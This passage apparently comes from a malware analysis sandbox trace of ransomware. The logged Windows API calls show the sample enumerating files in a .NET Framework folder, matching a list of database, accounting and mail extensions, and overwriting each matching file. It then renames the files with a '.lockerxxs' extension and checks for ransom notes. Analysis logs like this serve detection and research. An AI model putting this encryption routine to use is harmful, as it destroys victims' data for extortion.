lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="ilasm.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe.config" [0137.510] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.510] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallCommon.sql") returned -1 [0137.510] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallCommon.sql") returned -1 [0137.510] lstrcmpiA (lpString1="", lpString2="InstallCommon.sql") returned -1 [0137.510] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe.config") returned="ilasm.exe.config" [0137.510] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.510] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.510] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.510] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.510] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="InstallCommon.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql" [0137.511] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql" [0137.511] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql" [0137.511] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql." [0137.511] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql.lockerxxs" [0137.511] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installcommon.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0137.512] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x601b [0137.512] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x26eda300, dwHighDateTime=0x1cac5de), lpLastAccessTime=0x407536*(dwLowDateTime=0x9eda4340, dwHighDateTime=0x1d2e675), lpLastWriteTime=0x40753e*(dwLowDateTime=0x26eda300, dwHighDateTime=0x1cac5de)) returned 1 [0137.512] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.512] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5ff5, lpOverlapped=0x0) returned 1 [0137.514] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql") returned="InstallCommon.sql" [0137.514] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.514] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5ff5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5ff5, lpOverlapped=0x0) returned 1 [0137.515] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.515] CloseHandle (hObject=0x8c) returned 1 [0137.515] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installcommon.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installcommon.sql.lockerxxs")) returned 1 [0137.517] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14e52900, ftCreationTime.dwHighDateTime=0x1d0923c, ftLastAccessTime.dwLowDateTime=0x5941eda0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x14e52900, ftLastWriteTime.dwHighDateTime=0x1d0923c, nFileSizeHigh=0x0, nFileSizeLow=0xdbb8, dwReserved0=0xf30001f2, dwReserved1=0x4e00c4, cFileName="InstallMembership.sql", cAlternateFileName="INSTAL~2.SQL")) returned 1 [0137.517] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.517] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallMembership.sql") returned -1 [0137.517] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallMembership.sql") returned -1 [0137.517] lstrcmpiA (lpString1="", lpString2="InstallMembership.sql") returned -1 [0137.517] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql") returned="InstallCommon.sql" [0137.517] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.517] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.517] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.518] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.518] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="InstallMembership.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql" [0137.518] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.ems") returned 0 [0137.518] lstrlenA (lpString="*.ems") returned 5 [0137.518] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.db") returned 0 [0137.518] lstrlenA (lpString="*.db") returned 4 [0137.518] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.dbf") returned 0 [0137.518] lstrlenA (lpString="*.dbf") returned 5 [0137.518] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.myox") returned 0 [0137.518] lstrlenA (lpString="*.myox") returned 6 [0137.518] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.myo") returned 0 [0137.518] lstrlenA (lpString="*.myo") returned 5 [0137.518] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.qbw") returned 0 [0137.518] lstrlenA (lpString="*.qbw") returned 5 [0137.518] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.qbb") returned 0 [0137.518] lstrlenA (lpString="*.qbb") returned 5 [0137.518] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.qbm") returned 0 [0137.518] lstrlenA (lpString="*.qbm") returned 5 [0137.518] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.qbo") returned 0 [0137.519] lstrlenA (lpString="*.qbo") returned 5 [0137.519] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.qbx") returned 0 [0137.519] lstrlenA (lpString="*.qbx") returned 5 [0137.519] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.qba") returned 0 [0137.519] lstrlenA (lpString="*.qba") returned 5 [0137.519] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.qby") returned 0 [0137.519] lstrlenA (lpString="*.qby") returned 5 [0137.519] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.qbj") returned 0 [0137.519] lstrlenA (lpString="*.qbj") returned 5 [0137.519] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.ofx") returned 0 [0137.519] lstrlenA (lpString="*.ofx") returned 5 [0137.519] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.qif") returned 0 [0137.519] lstrlenA (lpString="*.qif") returned 5 [0137.519] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.mye") returned 0 [0137.519] lstrlenA (lpString="*.mye") returned 5 [0137.519] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.mbox") returned 0 [0137.519] lstrlenA (lpString="*.mbox") returned 6 [0137.519] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.eml") returned 0 [0137.519] lstrlenA (lpString="*.eml") returned 5 [0137.519] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.pst") returned 0 [0137.520] lstrlenA (lpString="*.pst") returned 5 [0137.520] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.ost") returned 0 [0137.520] lstrlenA (lpString="*.ost") returned 5 [0137.520] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.idx") returned 0 [0137.520] lstrlenA (lpString="*.idx") returned 5 [0137.520] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.dbx") returned 0 [0137.520] lstrlenA (lpString="*.dbx") returned 5 [0137.520] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", pszSpec="*.sql") returned 1 [0137.520] lstrlenA (lpString="*.sql") returned 5 [0137.520] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql" [0137.520] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql" [0137.520] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql." [0137.520] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql.lockerxxs" [0137.520] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installmembership.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0137.521] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdbb8 [0137.521] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x14e52900, dwHighDateTime=0x1d0923c), lpLastAccessTime=0x407536*(dwLowDateTime=0x5941eda0, dwHighDateTime=0x1d2e676), lpLastWriteTime=0x40753e*(dwLowDateTime=0x14e52900, dwHighDateTime=0x1d0923c)) returned 1 [0137.522] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.522] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xdb92, lpOverlapped=0x0) returned 1 [0137.525] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql") returned="InstallMembership.sql" [0137.526] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.526] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xdb92, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xdb92, lpOverlapped=0x0) returned 1 [0137.526] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.526] CloseHandle (hObject=0x8c) returned 1 [0137.526] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installmembership.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installmembership.sql.lockerxxs")) returned 1 [0137.528] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9129300, ftCreationTime.dwHighDateTime=0x1d06a01, ftLastAccessTime.dwLowDateTime=0x5941eda0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xf9129300, ftLastWriteTime.dwHighDateTime=0x1d06a01, nFileSizeHigh=0x0, nFileSizeLow=0xd577, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="InstallPersistSqlState.sql", cAlternateFileName="INSTAL~3.SQL")) returned 1 [0137.528] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.528] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallPersistSqlState.sql") returned -1 [0137.528] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallPersistSqlState.sql") returned -1 [0137.528] lstrcmpiA (lpString1="", lpString2="InstallPersistSqlState.sql") returned -1 [0137.528] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql") returned="InstallMembership.sql" [0137.528] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.528] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.528] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.528] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.528] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="InstallPersistSqlState.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql" [0137.528] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.ems") returned 0 [0137.528] lstrlenA (lpString="*.ems") returned 5 [0137.528] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.db") returned 0 [0137.528] lstrlenA (lpString="*.db") returned 4 [0137.528] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.dbf") returned 0 [0137.529] lstrlenA (lpString="*.dbf") returned 5 [0137.529] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.myox") returned 0 [0137.529] lstrlenA (lpString="*.myox") returned 6 [0137.529] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.myo") returned 0 [0137.529] lstrlenA (lpString="*.myo") returned 5 [0137.529] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.qbw") returned 0 [0137.529] lstrlenA (lpString="*.qbw") returned 5 [0137.529] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.qbb") returned 0 [0137.529] lstrlenA (lpString="*.qbb") returned 5 [0137.529] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.qbm") returned 0 [0137.529] lstrlenA (lpString="*.qbm") returned 5 [0137.529] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.qbo") returned 0 [0137.529] lstrlenA (lpString="*.qbo") returned 5 [0137.529] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.qbx") returned 0 [0137.529] lstrlenA (lpString="*.qbx") returned 5 [0137.529] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.qba") returned 0 [0137.529] lstrlenA (lpString="*.qba") returned 5 [0137.529] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.qby") returned 0 [0137.529] lstrlenA (lpString="*.qby") returned 5 [0137.529] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.qbj") returned 0 [0137.529] lstrlenA (lpString="*.qbj") returned 5 [0137.529] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.ofx") returned 0 [0137.529] lstrlenA (lpString="*.ofx") returned 5 [0137.529] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.qif") returned 0 [0137.530] lstrlenA (lpString="*.qif") returned 5 [0137.530] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.mye") returned 0 [0137.530] lstrlenA (lpString="*.mye") returned 5 [0137.530] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.mbox") returned 0 [0137.530] lstrlenA (lpString="*.mbox") returned 6 [0137.530] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.eml") returned 0 [0137.530] lstrlenA (lpString="*.eml") returned 5 [0137.530] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.pst") returned 0 [0137.530] lstrlenA (lpString="*.pst") returned 5 [0137.530] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.ost") returned 0 [0137.530] lstrlenA (lpString="*.ost") returned 5 [0137.530] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.idx") returned 0 [0137.530] lstrlenA (lpString="*.idx") returned 5 [0137.530] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.dbx") returned 0 [0137.530] lstrlenA (lpString="*.dbx") returned 5 [0137.530] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", pszSpec="*.sql") returned 1 [0137.530] lstrlenA (lpString="*.sql") returned 5 [0137.530] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql" [0137.531] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql" [0137.531] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql." [0137.531] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql.lockerxxs" [0137.531] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installpersistsqlstate.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0137.532] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd577 [0137.532] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xf9129300, dwHighDateTime=0x1d06a01), lpLastAccessTime=0x407536*(dwLowDateTime=0x5941eda0, dwHighDateTime=0x1d2e676), lpLastWriteTime=0x40753e*(dwLowDateTime=0xf9129300, dwHighDateTime=0x1d06a01)) returned 1 [0137.532] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.532] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xd551, lpOverlapped=0x0) returned 1 [0137.536] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql") returned="InstallPersistSqlState.sql" [0137.536] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.536] 